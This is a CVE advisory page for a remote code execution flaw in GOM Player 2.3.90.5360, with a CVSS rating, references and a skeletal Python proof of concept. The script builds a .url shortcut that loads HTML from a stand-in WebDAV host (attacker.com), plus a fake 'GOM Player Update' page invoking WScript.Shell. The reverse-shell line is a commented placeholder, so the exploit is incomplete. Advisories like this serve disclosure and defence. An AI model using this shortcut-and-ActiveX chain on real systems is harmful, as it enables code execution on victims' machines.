CVE-2023-53875

Description

GOM Player 2.3.90.5360 contains a remote code execution vulnerability in its Internet Explorer component that allows attackers to execute arbitrary code through DNS spoofing. Attackers can redirect victims using a malicious URL shortcut and WebDAV technique to run a reverse shell with SMB server interaction.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gomlab:gom_player:2.3.90.5360:*:*:*:*:*:*:* - VULNERABLE

GOM Player 2.3.90.5360

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2023-53875 PoC - GOM Player RCE via IE Component
# This PoC demonstrates the attack chain for educational purposes

import http.server
import socketserver
import os

# Malicious URL shortcut content (.url file)
malicious_url_content = '''[InternetShortcut]
URL=file://ATTACKER_SERVER/webdav/malicious.html
'''

# Malicious HTML that triggers RCE
malicious_html = '''<!DOCTYPE html>
<html>
<head><title>GOM Player Update</title></head>
<body>
<script>
  // Attempt to execute arbitrary code through IE component
  // In real attack, this would use various techniques like:
  // - HTA execution via mshta.exe
  // - Scriptlet execution via scrobj.dll
  // - ActiveXObject abuse
  
  // Example reverse shell payload (encoded)
  var shell = new ActiveXObject('WScript.Shell');
  // shell.Run('powershell -e BASE64_ENCODED_PAYLOAD');
</script>
</body>
</html>
'''

def create_poc_files():
    """Generate PoC files for testing"""
    # Create malicious URL shortcut
    with open('exploit.url', 'w') as f:
        f.write(malicious_url_content.replace('ATTACKER_SERVER', 'attacker.com'))
    
    # Create malicious HTML
    with open('malicious.html', 'w') as f:
        f.write(malicious_html)
    
    print('[+] PoC files created successfully')
    print('[+] 1. exploit.url - Malicious URL shortcut')
    print('[+] 2. malicious.html - Malicious payload page')

if __name__ == '__main__':
    create_poc_files()
    print('[!] This PoC is for educational/testing purposes only')
    print('[!] Do not use for unauthorized testing')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53875
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53875
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53875/
[4] VulDB https://vuldb.com/cve/CVE-2023-53875
[5] https://www.exploit-db.com/exploits/51719
[6] https://www.gomlab.com/
[7] https://www.vulncheck.com/advisories/gom-player-remote-code-execution-via-insecure-ie-component
[8] https://www.exploit-db.com/exploits/51719

Raw JSON Data

JSON

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